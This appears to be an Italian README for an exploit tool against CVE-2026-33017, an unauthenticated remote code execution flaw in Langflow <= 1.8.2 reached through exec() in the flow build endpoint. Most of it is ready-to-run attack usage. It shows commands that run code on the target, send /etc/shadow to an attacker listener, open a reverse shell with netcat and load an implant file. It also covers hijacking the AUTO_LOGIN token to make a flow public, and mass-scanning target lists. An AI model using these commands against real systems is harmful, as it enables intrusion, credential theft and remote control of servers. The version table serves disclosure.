
# Exploit per CVE-2026-33017 — RCE non autenticato in Langflow <= 1.8.2 tramite exec() nell'endpoint di build dei flow
_____
/ \
| () () |
\ ^ /
|||||
exec() senza autenticazione, senza sandbox, senza speranza.
Langflow <= 1.8.2 consente l'esecuzione remota di codice non autenticata tramite l'endpoint POST /api/v1/build_public_tmp/{flow_id}/flow. I dati del flusso forniti dall'attaccante contenenti Python arbitrario nelle definizioni dei nodi vengono passati direttamente a exec() senza alcuna sandbox.
POST /api/v1/build_public_tmp/{flow_id}/flow
-> chat.py -> start_flow_build() -> build_graph_from_data()
-> Graph.from_payload() -> loading.py -> eval.py create_class()
-> validate.py prepare_global_scope() -> exec(compiled_code)
-> il codice arbitrario viene eseguito come processo del server. game over.
git clone https://github.com/oscarmine/CVE-2026-33017.git
cd CVE-2026-33017
pip install requests
python3 exploit.py --url http://target:7860 --check
python3 exploit.py --url http://target:7860 --cmd "id"
# Terminale 1: avvia il listener
python3 -m http.server 8080
# Terminale 2: lancia l'exploit
python3 exploit.py --url http://target:7860 --cmd "id" \
--callback-get http://your-ip:8080
# Decodifica il base64 dai log del tuo listener:
echo "dWlkPTEwMDAo..." | base64 -d
# Terminale 1: avvia il listener
nc -l 8080
# Terminale 2: lancia l'exploit
python3 exploit.py --url http://target:7860 --cmd "cat /etc/shadow" \
--callback-post http://your-ip:8080
# L'output grezzo arriva direttamente nel body della POST - nessuna decodifica necessaria
# Terminale 1: avvia il listener
nc -l 4444
# Terminale 2: lancia l'exploit
python3 exploit.py --url http://target:7860 --revshell your-ip 4444
python3 exploit.py --url http://target:7860 --payload-file implant.py
Regole per il file payload:
exec() all'interno di prepare_global_scope()_x = os.popen(...).read()) perché il filtro AST esegue solo i nodi Assign, FunctionDef, ClassDefthreading.Thread(daemon=True) per evitare di uccidere l'event loop asincronoQuando non esistono flussi PUBBLICI ma AUTO_LOGIN è abilitato (impostazione predefinita in molte distribuzioni):
python3 exploit.py --url http://target:7860 --auto-promote --cmd "id"
Questo intercetta il token AUTO_LOGIN, applica una PATCH al primo flusso rendendolo PUBBLICO, quindi lo sfrutta.
Scansiona più target da un file (solo verifica della vulnerabilità):
python3 exploit.py --scan-file targets.txt
python3 exploit.py --scan-file targets.txt --threads 20 --scan-output results.txt
Formato di targets.txt:
http://10.10.10.5:7860
http://10.10.10.6:7860
192.168.1.100:7860
# i commenti vengono ignorati
L'output mostra:
python3 exploit.py --url http://target:7860 --cmd "id" \
--proxy http://127.0.0.1:8080
/api/v1/version per identificare il targetCustomComponent contenente Python malevolo nel campo code/api/v1/build_public_tmp/{flow_id}/flow con il parametro data appositamente costruito. Langflow compila il grafo, che chiama create_class() -> prepare_global_scope() -> exec() sul codice dell'attaccanteLa correzione nella v1.9.0 rimuove completamente il parametro data, costringendo l'endpoint a utilizzare solo i dati del flusso memorizzati nel database.
Questo strumento è destinato esclusivamente alla ricerca sulla sicurezza autorizzata. Utilizzalo solo contro sistemi per cui hai esplicito permesso di test. L'autore non è responsabile per un uso improprio.
| Versione | Stato |
|---|
| <= 1.8.1 | Vulnerabile |
| 1.8.2 | Fix dichiarato nel changelog ma il codice non è mai stato modificato (confermato da JFrog) |
| 1.9.0-dev0 fino a dev11 | Ancora vulnerabile |
| 1.9.0 | Effettivamente corretto - parametro data rimosso dall'endpoint |